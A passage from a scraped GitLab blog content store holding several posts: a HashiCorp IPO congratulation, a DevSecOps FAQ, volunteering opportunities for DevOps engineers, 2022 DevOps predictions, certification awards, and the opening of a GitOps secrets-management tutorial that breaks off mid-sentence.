infrastructure, taking advantage of the [Terraform integration with merge requests](https://docs.gitlab.com/ee/user/infrastructure/iac/mr_integration.html). You can see the planned changes to your infrastructure without leaving the scope of a merge request review at the same time.\n\nUsing GitLab as a [Terraform Module Registry](https://docs.gitlab.com/ee/user/packages/terraform_module_registry/) allows you to publish and reference private Terraform modules in your project’s infrastructure registry, ensuring it’s possible to reuse modules across projects securely. Along with our [IaC security scanning](https://about.gitlab.com/releases/2021/11/22/gitlab-14-5-released/#introducing-infrastructure-as-code-iac-security-scanning) as part of the verify stage, you can safely maintain your infrastructure with ease.\n\n### Terraform and GitLab.com\n\nTerraform is used to manage all the environments of [GitLab.com’s infrastructure](https://gitlab.com/gitlab-com/gitlab-com-infrastructure/) in a single project, allowing collaboration across the entire engineering organization. It is also playing a critical role in our ongoing [migration to Kubernetes](https://about.gitlab.com/handbook/engineering/infrastructure/production/kubernetes/gitlab-com/). Want to deploy a stateful application quickly? GitLab’s [five-minute production app](https://gitlab.com/gitlab-org/5-minute-production-app/deploy-template) template leverages the power of Terraform to get you from idea to production in minutes.\n\n## We’re all-remote\n\nHashiCorp is a remote-first, distributed organization and publicly shares [proven principles](https://works.hashicorp.com) for everyone to learn. GitLab shares this passion for expanding access to opportunity, bolstering global communities, and building more inclusive workplaces where everyone can contribute.\n\n## We see the promise of the future\n\nThe successes of companies like GitLab and HashiCorp, as well as MongoDB and Confluent, on the open market show providing a free tier and commercial offering can be a highly profitable business model for open source technologies and we believe the DevOps market potential is just starting to be tapped.\n\nIn the [words of Dave Bullock](https://about.gitlab.com/blog/wag-labs-blog-post/), former Director of engineering at Wag!: “_We use GitLab with Terraform to test, review, save, and deploy all of our infrastructure as well as the application…The original idea was to just use GitLab as our CI platform. But as we built that out, we started using it for more and more tasks, and ended up using it for our full CI/CD pipeline._”  This is an example of the power of the DevOps Platform. GitLab’s partnership with HashiCorp has made it easier for customers to use more stages of the DevOps Platform. \n\nWe’re joining the global chorus in wishing HashiCorp the best of luck with its public offering.",[4103,815,232],{"slug":16167,"featured":6,"template":678},"congratulations-to-hashicorp","content:en-us:blog:congratulations-to-hashicorp.yml","Congratulations To Hashicorp","en-us/blog/congratulations-to-hashicorp.yml","en-us/blog/congratulations-to-hashicorp",{"_path":16173,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16174,"content":16180,"config":16185,"_id":16187,"_type":16,"title":16188,"_source":17,"_file":16189,"_stem":16190,"_extension":20},"/en-us/blog/devsecops-faq-get-up-to-speed-on-this-hot-devops-area",{"title":16175,"description":16176,"ogTitle":16175,"ogDescription":16176,"noIndex":6,"ogImage":16177,"ogUrl":16178,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16178,"schema":16179},"DevSecOps FAQ: Get up to speed","There's more to dev, sec and ops than meets the eye, particularly when they're combined. Here's what you need to know about DevSecOps.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669784/Blog/Hero%20Images/security-testing-principles-devs.jpg","https://about.gitlab.com/blog/devsecops-faq-get-up-to-speed-on-this-hot-devops-area","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"DevSecOps FAQ: Get up to speed\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2021-12-08\",\n      }",{"title":16175,"description":16176,"authors":16181,"heroImage":16177,"date":16182,"body":16183,"category":8943,"tags":16184},[11618],"2021-12-08","\n\nIf it feels like [DevSecOps](/topics/devsecops/) is just one more flavor of DevOps, we get it. After all, DevOps could be known as _DevSecBizTestMonitorOps_, but that’s not easy to say or remember. DevSecOps actually plays a unique role in the world of software development. Here’s what you need to know.\n\n## Why is DevSecOps important?\n\nAll of the [well-publicized security breaches](/blog/are-you-ready-for-the-newest-era-of-devsecops/) have shown us one thing: Security can no longer be an afterthought in software development. It used to be that security was a separate department and function with a top-down approach and little actual understanding of how software was developed. Code was handed to security late in the process, and then the sec team had to chase busy devs down for fixes. TL;DR: Let’s just say that didn’t ever work well.\n\nToday, DevSecOps aims squarely at the idea that security has to be baked into the process from the beginning. The need for security to [“shift left,”](/blog/efficient-devsecops-nine-tips-shift-left/) i.e., move from production to development, is at the heart of what DevSecOps is. \n\nThe data is clear: The earlier a developer finds a flaw, the faster the fix, so DevSecOps puts security scans (and their results) in a dev’s workflow, minimizing the barriers to resolution and greatly decreasing context-switching. \n\nAnd this isn’t just something that’s a nice-to-have – it’s actually happening. In our [2021 Global DevSecOps Survey](/developer-survey), we found DevSecOps teams are running more [SAST](https://docs.gitlab.com/ee/user/application_security/sast/), [DAST](https://docs.gitlab.com/ee/user/application_security/dast/), [container](https://docs.gitlab.com/ee/user/application_security/container_scanning/) and [dependency scans](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) than ever before. And, thanks to DevSecOps, a full 72% of security pros told us their organizations’ security efforts as either “strong” or “good.” \n\n## The difference between DevSecOps and DevOps\n\nDevSecOps *is* DevOps and honestly the terms are, can, and should be used interchangeably. That said, GitLab defines DevOps as [“...people working together to conceive, build and deliver secure software at top speed”](/topics/devops/) and, as you can see, that definition includes security. DevSecOps, on the other hand, “weaves security practices into every stage of software development right through deployment with the use of tools and methods to protect and monitor live applications.”\n\nSome think the term “DevSecOps” puts undue emphasis on security, but we heartily disagree. You can’t emphasize security enough!\n\n## Why is DevSecOps important to business?\n\nThe number one benefit of DevOps is code quality, according to our survey, and, clearly, that’s businesses’ priority as well; bad code costs money literally (time to fix) and figuratively (brand reputation). \n\nSo, if it’s [time to convince management to invest in DevSecOps](/blog/devops-stakeholder-buyin/), it’s important to continue to emphasize how devastating a security breach can be.\n\nAlso, it’s vital to connect the dots on exactly how a DevSecOps team can help prevent the worst-case scenarios. From [automated software testing](/blog/devsecops-security-automation/#5-benefits-of-automated-security) to a [security champions program](/blog/why-security-champions/), DevSecOps is one of the most efficient ways to help prevent hacks.\n\n## The future of DevSecOps\n\nThe future of DevSecOps can be summed up in one simple word: more. More testing, more automation, more integration, more shift left, more comprehensive scans… just more of everything that brings security into the development process earlier in the game.\n\nThere are signs that “more” is already happening, based on our 2021 survey results. Nearly 28% of security respondents report they are now part of a cross-functional team and a growing percentage are more focused on compliance. And more than 70% of security pros report their teams shifted left in 2021, up from 65% in 2020. In other words, security is increasingly _on the team._ \n\nAnd don’t forget about the promise of artificial intelligence and machine learning. As [AI/ML use expands in DevOps teams](/blog/ai-in-software-development/), DevSecOps will no doubt benefit.\n\n## Ready to learn DevSecOps?\n\nIf you’re ready to dive into DevSecOps, we have a 20 question quiz so you can test your readiness level and learn more.\n",[4103,674,7715],{"slug":16186,"featured":6,"template":678},"devsecops-faq-get-up-to-speed-on-this-hot-devops-area","content:en-us:blog:devsecops-faq-get-up-to-speed-on-this-hot-devops-area.yml","Devsecops Faq Get Up To Speed On This Hot Devops Area","en-us/blog/devsecops-faq-get-up-to-speed-on-this-hot-devops-area.yml","en-us/blog/devsecops-faq-get-up-to-speed-on-this-hot-devops-area",{"_path":16192,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16193,"content":16199,"config":16203,"_id":16205,"_type":16,"title":16206,"_source":17,"_file":16207,"_stem":16208,"_extension":20},"/en-us/blog/where-to-donate-your-devops-skills",{"title":16194,"description":16195,"ogTitle":16194,"ogDescription":16195,"noIndex":6,"ogImage":16196,"ogUrl":16197,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16197,"schema":16198},"Where to donate your DevOps skills","Want to feel great and help fill the DevOps talent pipeline? Here are some rewarding opportunities to donate your tech knowledge to others.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683269/Blog/Hero%20Images/clark-tibbs-oqstl2l5oxi-unsplash.jpg","https://about.gitlab.com/blog/where-to-donate-your-devops-skills","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Where to donate your DevOps skills\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2021-12-08\",\n      }",{"title":16194,"description":16195,"authors":16200,"heroImage":16196,"date":16182,"body":16201,"category":7715,"tags":16202},[3281],"\n\nYour technical knowledge could be a gift to someone else. Nonprofits around the world are seeking talented professionals to mentor, volunteer their technical skills, or teach courses in-person and online. The donations of your time and expertise could change the lives of people in your community or halfway around the world. The more access underrepresented groups, including women and minorities, have to skills development and mentoring that lead to higher-paying jobs, the better their chances of rising up out of difficult socio-economic conditions. And don’t forget, volunteering is incredibly rewarding.\n\nHere are six organizations and tech communities that could benefit from your skills and experience: \n\n## [Outreachy](https://www.outreachy.org/)\n\nOutreachy provides internships in open source to people subject to systemic bias and impacted by underrepresentation in the technical industry where they are living. Outreachy interns work with experienced mentors from open source communities. Internship projects may include programming, user experience, documentation, graphical design, data science, marketing, user advocacy, or community event planning.\n\nGitLab has participated in the Outreachy internship program, which intersects with our [Diversity, Inclusion, and Belonging](https://handbook.gitlab.com/handbook/values/#diversity-inclusion) value. Our team, including Senior Backend Engineer [Christian Couder](https://gitlab.com/chriscool), wrote [about their experience](https://about.gitlab.com/blog/outreachy-sponsorship-winter-2020/): “One of the benefits of the Outreachy technology internship is that the interns do not need to be students. It's a great opportunity for people who are coming back into the workforce after a hiatus, or who are navigating a career change into tech. This technology internship program is unique because it incorporates skill sets beyond engineering – which creates a broader range of skill sets represented in the open source world. The Outreachy internship is remote, making it more relevant than ever during the pandemic by helping interns gain experience working on an all-remote team.”\n\n## [CodeYourFuture](https://codeyourfuture.io/)\n\nCodeYourFuture is a U.K.-based nonprofit that trains “some of the most deprived members of society” to become web developers and helps them to find work in the tech industry. Students are trained in full-stack web development by volunteers from the tech industry, putting a strong emphasis on collaboration and product development through tech projects.\n\nSenior Frontend Engineer [Coung Ngo](https://gitlab.com/cngo) contributes his time to the nonprofit and says that while DevOps is not in the syllabus, the underlying skill sets are. “They teach a full-stack course of HTML, CSS, JS, React, Node, and SQL/MongoDB,” Ngo says. “It's a nice community, so if someone lives in London, Glasgow, Manchester, or Birmingham, it's enjoyable to join in with the in-person classes.”\n\n## [WeThinkCode](https://www.wethinkcode.co.za/about)\n\nWeThinkCode is a nonprofit aimed at closing the skills gap in the digital sector in South Africa and preparing young people to participate in the region’s economy. The organization believes that South Africa’s youth represent a pool of talent that mostly remains untapped and wants to provide businesses with access to this source of tech talent. Nonprofits like WeThinkCode are important because of the way they mobilize previously underestimated groups by providing an avenue for education where traditional paths are often more closed off. \n\nWeThinkCode was a GitLab donation recipient and the organization utilizes GitLab’s free SaaS version in their curriculum. The organization has [four ways for professionals to volunteer](https://www.wethinkcode.co.za/volunteer), including virtual opportunities:\n\n- Mentorship - Experienced software development practitioners provide guidance to a group of four to six students on communication, ways of working, insights on tackling programming challenges in the curriculum, and tips on the conduct expected in the workplace. \n \n- Interview readiness - Practitioners with experience in hiring and recruiting will help conduct mock interviews and then provide constructive feedback.\n\n- WomenThinkCode Meetups - Women in tech to act as role models and deliver talks about their career journeys covering tech and interpersonal aspects.\n\n- Community-hosted talks - Practitioners deliver talks on the real-world application of various technologies.\n\n## [KodewithKlossy](https://www.kodewithklossy.com/)\n\nKodewithKlossy is a nonprofit with the mission to create learning experiences and opportunities for young women and nonbinary individuals that increase their confidence and inspire them to pursue their passions in a technology-driven world. KodewithKlossy found that prior to camp, only two out of 10 attendees (also called scholars) had computer science experience and after, as a result of their camp experience, nine in 10 say they plan to pursue education and opportunities in computer science. Volunteers can serve as role models in the camp speaker series or participate in other important ways.\n\n## [Google Summer of Code](https://summerofcode.withgoogle.com/archive/)\n\nGoogle Summer of Code (GSoC) is a global program focused on bringing more student developers into open source software development. Students work on a three-month programming project with an open source organization during their break from university. \n\nIn 2022, Google will [expand its GSOC enrollment](https://opensource.googleblog.com/2021/11/expanding-google-summer-of-code-in-2022.html) beyond students to include all newcomers to open source who are 18 years and older. Google states, “We realize there are many folks that could benefit from the GSoC program that are at various stages of their career, recent career changers, self-taught, those returning to the workforce, etc. so we wanted to allow these folks the opportunity to participate in GSoC.”\n\nGitLab [participated this year](https://summerofcode.withgoogle.com/archive/2021/organizations/5396515480141824/), helping to mentor students, and Couder has been a mentor since 2008.\n\n## Open source communities\n\nOpen source communities like Cloud Native Computing Foundation [(CNCF)](https://www.cncf.io/), which include students and people who are changing careers, are a fantastic outlet to share your DevOps expertise. You can help other community members improve their features or applications, learn about documentation, learn new languages, and uncover bugs. Senior Developer Evangelist [Michael Friedrich](https://gitlab.com/dnsmichi) says it is rewarding to become a mentor in open source communities. “It is important to be honest, but also to be patient and kind. Don’t say something is easy – it’s not easy for that person. Instead, make sure to share your expertise in a constructive and helpful way,” he adds. Listen to more of Friedrich’s [advice for open source contributions](https://www.youtube.com/watch?v=yT63olXdS-I).\n\n_Cover image by Clark Tibbs via [Unsplash](https://unsplash.com/)._\n",[4103,815,267],{"slug":16204,"featured":6,"template":678},"where-to-donate-your-devops-skills","content:en-us:blog:where-to-donate-your-devops-skills.yml","Where To Donate Your Devops Skills","en-us/blog/where-to-donate-your-devops-skills.yml","en-us/blog/where-to-donate-your-devops-skills",{"_path":16210,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16211,"content":16217,"config":16223,"_id":16225,"_type":16,"title":16226,"_source":17,"_file":16227,"_stem":16228,"_extension":20},"/en-us/blog/devops-predictions-gitlab-experts-weigh-in-on-ai-security-remote-work-and-more",{"title":16212,"description":16213,"ogTitle":16212,"ogDescription":16213,"noIndex":6,"ogImage":16214,"ogUrl":16215,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16215,"schema":16216},"2022 DevOps predictions: AI, security, remote work & more","Want to see into the DevOps future? We’ve got insights to share, including the challenges for AI/ML and the impact of cloud-native on DevSecOps.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683162/Blog/Hero%20Images/tomasz-frankowski-kbufvkbfioe-unsplash.jpg","https://about.gitlab.com/blog/devops-predictions-gitlab-experts-weigh-in-on-ai-security-remote-work-and-more","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"2022 DevOps predictions: GitLab experts weigh in on AI, security, remote   work, and more\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2021-12-06\",\n      }",{"title":16218,"description":16213,"authors":16219,"heroImage":16214,"date":16220,"body":16221,"category":8943,"tags":16222},"2022 DevOps predictions: GitLab experts weigh in on AI, security, remote   work, and more",[711],"2021-12-06","2022 is set to be a big year for [DevOps](/topics/devops/), especially when it comes to integrating AI and machine learning, pushing security further left in the development cycle, and expanding opportunities for open source and remote work. We’ve gathered eight predictions from the top minds here at GitLab about the DevOps platform and the DevOps industry overall.\n\n## 1. AI/ML adoption will increase and will be instrumental in addressing supply chain issues and labor shortages.\n\n[Taylor McCaslin](https://gitlab.com/tmccaslin), Group Manager, Product - ModelOps & Anti-Abuse, says:\n\n“We’re going to see increased adoption of [AI/ML](/direction/modelops/ai_assisted/) across all industries. With the labor and supply chain shortages and dramatic shifts in climate-related events, companies globally are having to learn to do more with less in even more dynamic environments. AI/ML is well-suited to solve some of these complex problems in industries we may not have expected [adoption from] this early.\n\nWe have started seeing governments embrace AI/ML technologies. When you think about it, governments are by definition inefficient, but they hold a lot of data that’s ripe territory for AI/ML to make an impact. Take the Internal Revenue Service in the U.S., for example. ML applied to process paper tax returns or to look for anomalies could reduce costs and increase revenue from catching tax fraud and data entry mistakes. Also, with Covid-19 not looking like it will go away anytime soon, there are huge data problems that are well suited for AI/ML in tracking and proving vaccination status. The list for AI/ML is endless.\n\nAI/ML still is a specialty field. So businesses need to have clear use cases for hiring data science teams and setting them up for success to deploy models into production. We still see friction between traditional DevOps technologies and new data science platforms slowing time to value and increasing the cost of developing AI/ML technologies, but those problems are becoming more understood and we’ll see that gap shorten over time reducing cost and complexities.”\n\n## 2. Businesses will continue to integrate security more tightly into DevOps and create DevSecOps teams to reduce risk, speed deployment, and gain a competitive advantage.\n\n[Johnathan Hunt](https://gitlab.com/JohnathanHunt), Vice President of Security, says:\n\n“The [DevSecOps](/blog/gitlab-is-setting-standard-for-devsecops/) practice will continue to increase in 2022 as more organizations understand the efficiencies and improved security of this strategy. Further, those that are currently leveraging DevSecOps as part of their development practice are realizing the benefits with fewer vulnerabilities, faster deployments, less time spent in corrective actions, and an overall reduction of risk. Ultimately, this will provide companies with a differentiated approach, leading to competitive advantages in their space.\n\nDevSecOps is important to prioritize due to the increased threat landscape that remote work models introduce. It is imperative that companies focus on transformative ways to protect their product and data to effectively manage their overall risk posture. DevSecOps is a proven strategy that reduces risk and security incidents while allowing faster and more secure code deployments.”\n\n## 3. Two of the biggest buzzwords of 2021 will take divergent paths next year: Kubernetes will play a fundamental role in DevSecOps, while zero trust will see only moderate gains.\n\nHunt says:\n\n“DevOps users have come to realize the benefits of operating security controls natively within Kubernetes rather than separate tools and separate teams adding steps to the process. This is a fundamental component to furthering the DevSecOps story. Additionally, the [Kubernetes](/blog/gitlab-kubernetes-agent-on-gitlab-com/) platform is continuing to evolve and adapt to the need for greater control and automation within reach of DevOps users leading to the natural and highly advantageous shift left strategy.\n\nMeantime, although we are seeing an increase in the implementation of certain zero trust principles, overall the industry has been slow to respond. Much of this is due to the understanding, complexity, and difficulty of implementing full zero-trust models within the tech stack. I predict 2022 will, at best, see a moderate gain in the adoption of [zero trust](/blog/questions-regarding-our-zero-trust-efforts/).”\n\n## 4. Secure software supply chain will become a standard element of security strategy for government organizations.\n\n[Bob Stevens](https://gitlab.com/bstevens1), Area Vice President of Public Sector, says:\n\n“Federal agencies are starting to tackle software supply chain security, spurred by guidance from NIST and actions outlined in Executive Orders issued in early 2021. While these guidelines are critical to success, agencies will rise to the challenge of implementing new security measures instead of waiting to act. Regardless of the publication of final guidance, CIOs will implement actions for software supply chain security to proactively defend their agencies. CIOs know that enhancing cyber defenses immediately is crucial to outsmarting adversaries, and they will not delay in enacting change. Once guidelines are final, CIOs will adjust their policies to meet best practices.\n\nTo ensure security in the software supply chain, people, processes, and technologies need to work together in unison. This includes code that has been examined by numerous security personnel, build processes that take place in the open, and high-quality software that is tested and trusted. Software factories and contractors that work with them will also need to put in place a comprehensive and continuously monitored software bill of materials (SBOM), allowing everyone touching the software to fully understand the dependencies and vulnerabilities of their ecosystems.\n\nA DevOps platform can address many important security considerations. With security scanners built into the development process, agencies can scan every line of code as it is committed, allowing developers to identify and remediate vulnerabilities before they are pushed.“\n\n## 5. Cloud adoption will extend to other parts of the development life cycle, including developers’ own environments. \n\n[Brendan O’Leary](https://gitlab.com/brendan), Staff Developer Evangelist, says:\n\n“I still see a lot of enterprises or individual teams that find themselves at [various phases of DevOps](/blog/welcome-to-the-devops-platform-era/). So I believe that 2022 will bring a shift towards platforms - either through DIY or adoption of a DevOps platform. We’ll see more adoption of cloud technologies for other parts of the development lifecycle as well, such as developers’ own environments.”\n\n## 6. Open source will grow beyond a common software development practice to a full business model embraced by organizations.\n\n[Cesar Saavedra](https://gitlab.com/csaavedra1), Technical Marketing Manager, says:\n\n“Open source growth will continue in the future, and not just as a way to develop software but also as a business model. Not only have companies realized the need to be [digital leaders](https://www.capgemini.com/wp-content/uploads/2017/07/The_Digital_Advantage__How_Digital_Leaders_Outperform_their_Peers_in_Every_Industry.pdf) to be successful in the market, but also large commercial vendors are becoming open source and switching to this business model to stay competitive and open-source startups have caught [the interest of investors](https://techcrunch.com/2021/06/26/2170552/). Open source is taking over the software market. In fact, the Open Source Services Market is [predicted to grow](https://www.businesswire.com/news/home/20201113005374/en/66.84-Billion-Open-Source-Services-Market-by-Industry-Service-Type-and-Geography---Global-Forecast-to-2026---ResearchAndMarkets.com) at a CAGR of ~21.75% with a value expected to reach $66.84 billion by 2026. Another proof point of this growth is that [recent surveys show](https://www.datadoghq.com/container-report/#10) that the most popular container images are all based on open source software, which indicates this growing adoption trend of open source.\n\nAdopting open source into your business model is a complex decision and process. If you’re a successful company with a proprietary software product, it’s just a matter of time before a competitor with an open source offering will appear in your market segment. In this case, you will most likely need to switch your business model to one suited for open source software. For example, you will need to switch from license+subscription revenues to just subscription. Another big decision to make is whether or not to open source your software. Many software products that started as proprietary software converted to open source licensing, e.g. Adobe Flex, Visual Studio Code, .NET framework, PowerShell, Solaris. Open sourcing your software product usually goes hand-in-hand with adopting an open source business model of subscription-based revenues.\n\nYou also will need to contribute back to the open source community by making your enhancements and fixes to your product available in your open source project. In fact, to be successful in the open source market, you have to commit resources to help develop open source projects.”\n\n## 7. The open source community will grow significantly as a result of the acceleration of digital-first and cloud-native companies.\n\nSaavedra says: \n\n“The cloud helped accelerate the adoption of open source software because it allowed companies to scale up without incurring large costs in software licensing (open source subscription models are less expensive than proprietary software). Furthermore, open source software fosters collaboration among the brightest minds no matter where around the globe they reside, bringing together the power of the community and benefiting developers, organizations, and vendors alike. As a result, developers and organizations continue to adopt and contribute to open source projects due to a low entry barrier, accessibility, and cost. The Covid-19 pandemic [accelerated this adoption even more](https://venturebeat.com/2021/01/26/how-the-pandemic-is-accelerating-enterprise-open-source-adoption/) due to the switch to remote work by organizations that now have access to a new set of developer talent well versed in open source. The acceleration of digital-first and cloud-native companies will increase the use of open source, which will, in turn, demand more and more open source developers. The result will be an increase in the size of the open source community worldwide.”\n\n## 8. All-remote will become a prevailing work environment as a means to attract and retain talent.\n\nDarren Murph, Head of Remote, says:\n\n“All-remote and all-colocated will become the prevailing environments. Hybrid-remote will be broadly tested but will be rife with friction and dysfunction due to a lack of understanding in its implementation. The terminology also will evolve. For some organizations, hybrid will end up meaning ‘remote-first with an office for special events,’ while those who attempt to force knowledge workers into a more rigid in-office schedule will struggle to retain employees. \n\nDedicated leadership surrounding remote transitions and overall future-of-work strategy will increase in 2022. What GitLab pioneered has served as [a blueprint for organizations](/company/culture/all-remote/head-of-remote/) like Facebook, Dropbox, Okta, LinkedIn, VMWare, and other tech firms. Next year, industries beyond tech will begin to embrace remote work and create awareness for the intrinsic link between organizational design and talent brand. Organizations that rigidly force knowledge workers back into the office will see above-average attrition rates. With two years of remote work habits being ingrained, top talent will demand continued flexibility. Many organizations that have resisted investing in creating excellent remote work infrastructure will be forced to do so to compete with more flexible rivals. \n\nA well-built remote work plan will be seen as a hedge against future crises. Just as organizations are currently expected to have succession and security plans, having a remote work strategy will be critical to business continuity. Organizations will also need to work hard to establish psychological safety. As people resume social gatherings, employers have an opportunity to lean into the culture that is built outside of work and create strategies for that to be shared within the workplace.”",[4103,674,815],{"slug":16224,"featured":6,"template":678},"devops-predictions-gitlab-experts-weigh-in-on-ai-security-remote-work-and-more","content:en-us:blog:devops-predictions-gitlab-experts-weigh-in-on-ai-security-remote-work-and-more.yml","Devops Predictions Gitlab Experts Weigh In On Ai Security Remote Work And More","en-us/blog/devops-predictions-gitlab-experts-weigh-in-on-ai-security-remote-work-and-more.yml","en-us/blog/devops-predictions-gitlab-experts-weigh-in-on-ai-security-remote-work-and-more",{"_path":16230,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16231,"content":16236,"config":16242,"_id":16244,"_type":16,"title":16245,"_source":17,"_file":16246,"_stem":16247,"_extension":20},"/en-us/blog/gitlab-technical-certification-award-wins",{"title":16232,"description":16233,"ogTitle":16232,"ogDescription":16233,"noIndex":6,"ogImage":12013,"ogUrl":16234,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16234,"schema":16235},"GitLab Technical Certifications program wins 5 awards at LearnX Conference","GitLab's Tech Certification programs won 5 different awards at this year's LearnX conference.","https://about.gitlab.com/blog/gitlab-technical-certification-award-wins","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Technical Certifications program wins 5 awards at LearnX Conference\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kendra Marquart\"}],\n        \"datePublished\": \"2021-12-03\",\n      }",{"title":16232,"description":16233,"authors":16237,"heroImage":12013,"date":16239,"body":16240,"category":674,"tags":16241},[16238],"Kendra Marquart","2021-12-03","\n\nIn June of this year our Professional Services team entered our [GitLab Technical Certification programs](/handbook/customer-success/professional-services-engineering/gitlab-technical-certifications/) into several different worldwide conferences and we are proud to announce that GitLab has won 5 awards at this year's LearnX learning impact awards! \n\nWe won 3 Gold awards for our [GitLab Certified CI/CD Specialist Self Paced Course](/services/education/gitlab-technical-certification-self-paced/) in the following categories: \n\n![LearnX gold award](https://about.gitlab.com/images/blogimages/learnxgold.png){: .shadow.small.left}\n\n- Best Certification Training Project \n- Best Game eLearning Design \n- Best Learning and Development Project \n\nWe won 2 Silver awards for our [GitLab Certified Associate Self Paced Course](/services/education/gitlab-technical-certification-self-paced/) in the following categories: \n\n![LearnX silver award](https://about.gitlab.com/images/blogimages/learnxsilver.png){: .shadow.small.left}\n\n- Best Micro/Bite Size eLearning Design \n- Best Content Curation Project\n\n## What is LearnX?\n\nThe LearnX Impact Awards is an annual event run by the LearnX Foundation, a not-for-profit organization promoting innovative workforce learning and supporting technologies. This conference is held once a year in November and highlights success in the learning and development space. \n\n## What GitLab Technical Certifications are Available?\n\nWe currenly offer the following [GitLab Technical Certifications](/handbook/customer-success/professional-services-engineering/gitlab-technical-certifications/), all of which are available as self-paced e-learnings in [GitLab Learn](/learn/) or as an [Instructor-Led class](/services/education/) with our Professional Services team.  \n\n\n",[754,676,267],{"slug":16243,"featured":6,"template":678},"gitlab-technical-certification-award-wins","content:en-us:blog:gitlab-technical-certification-award-wins.yml","Gitlab Technical Certification Award Wins","en-us/blog/gitlab-technical-certification-award-wins.yml","en-us/blog/gitlab-technical-certification-award-wins",{"_path":16249,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16250,"content":16255,"config":16260,"_id":16262,"_type":16,"title":16263,"_source":17,"_file":16264,"_stem":16265,"_extension":20},"/en-us/blog/gitops-with-gitlab-secrets-management",{"title":16251,"description":16252,"ogTitle":16251,"ogDescription":16252,"noIndex":6,"ogImage":12013,"ogUrl":16253,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16253,"schema":16254},"GitOps with GitLab: How to tackle secrets management","In part four of our GitOps series, we learn how to manage secrets with the GitLab Agent for Kubernetes.","https://about.gitlab.com/blog/gitops-with-gitlab-secrets-management","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitOps with GitLab: How to tackle secrets management\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2021-12-02\",\n      }",{"title":16251,"description":16252,"authors":16256,"heroImage":12013,"date":16257,"body":16258,"category":734,"tags":16259},[2544],"2021-12-02","\n\n_It is possible to use GitLab as a best-in-class GitOps tool, and this blog post series is going to show you how. These easy-to-follow tutorials will focus on different user problems, including provisioning, managing a base infrastructure, and deploying various third-party or custom applications on top of them. You can also view our entire [\"Ultimate guide to GitOps with GitLab\"](/blog/the-ultimate-guide-to-gitops-with-gitlab/) tutorial series._\n\nIn this article we will use our cluster connection to manage secrets within our cluster.\n\n## Prerequisites\n\nThis article assumes that you have a Kubernetes cluster connected to GitLab using the GitLab Agent for Kubernetes. If you don't have such a cluster, I recommend looking at the linked articles above so you have a similar setup from where we will start today.\n\n## A few words about secrets management\n\nThe Kubernetes `Secret` resource is a rather tricky one! By design, secrets should have limited access and should be encrypted at rest and in transit. Still, by default, Kubernetes does not encrypt secrets at rest and accessing them might not be restricted in your cluster. We will not go into detail about how to secure your cluster with respect to secrets in this article. Instead, we want to focus on getting some secrets configured in your cluster with a GitOps approach.\n\nManaging secrets with GitOps means you store those secrets within your Git repository. Of course, you should never store unencrypted secrets in a repo, and some security people are even reluctant to store encrypted secrets in Git. We will not be that worried, but you should consider if this is an acceptable risk for you. There is an alternative we'll talk about, below, if you prefer to not manage your secrets in Git.\n\nThere are a few benefits of Git-based secrets management:\n\n- you get versioning by default\n- collaboration is supported using merge requests\n- as secrets are in code, you push responsibilities towards the development team\n- the tools used are well-known to developers\n\n## Secrets management with GitLab\n\nWhen it comes to secrets, Kubernetes, and GitLab, there are at least 3 options to choose from:\n\n- create secrets automatically from environment variables in GitLab CI\n- manage secrets through HashiCorp Vault and GitLab CI\n- manage secrets in git with a GitOps approach\n\n### Create secrets automatically from environment variables in GitLab CI\n\nThe Auto Deploy template applies every [`K8S_SECRET_` prefixed environment variable](https://docs.gitlab.com/ee/topics/autodevops/customize.html#application-secret-variables) into your cluster as a Kubernetes Secret. Later, your applications can reference these secrets. This approach is the simplest to use, especially if you would like to use [Auto DevOps](/topics/devops/). We will look into it in a future article.\n\nWhile simple to use, with this approach your secrets are stored in the GitLab database, instead of `Git`. That means you lose versioning of the secrets, you need `Maintainer` rights to modify these secrets, and you lose the ability to approve a change of secret in a merge request.\n\n### Manage secrets through HashiCorp Vault and GitLab CI\n\n[GitLab CI/CD integrates with HashiCorp Vault](https://docs.gitlab.com/ee/ci/examples/authenticating-with-hashicorp-vault/#authenticating-and-reading-secrets-with-hashicorp-vault) to support advanced secrets management use cases. You can combine the `K8S_SECRET_` prefixed use case even with Vault-based secrets, and have the secrets applied automatically. \n\nWith this approach, you get the all the benefits of HashiCorp Vault, but there is a question: why do you move secrets from Vault to GitLab just to move them to your cluster instead of retrieving the secrets directly from within your cluster? We recommend leaving GitLab out of this flow if you don't have a really good reason to provide secret access to GitLab too! Vault has really great Kubernetes support, thus retrieving secrets directly should be feasible.\n\n### Manage secrets in Git with a GitOps approach\n\nTo manage secrets in Git, we will need some kind of tooling to take care of the encryption/decryption of the secrets. In this article, I will show you how to set up and use [Bitnami's Sealed Secrets](https://github.com/bitnami-labs/sealed-secrets), but you can try other tools, like [SOPS](https://github.com/mozilla/sops) too. We will look into Bitnami's approach as it targets Kubernetes exclusively, unlike SOPS that supports other use cases too, and might need a bit more setup for 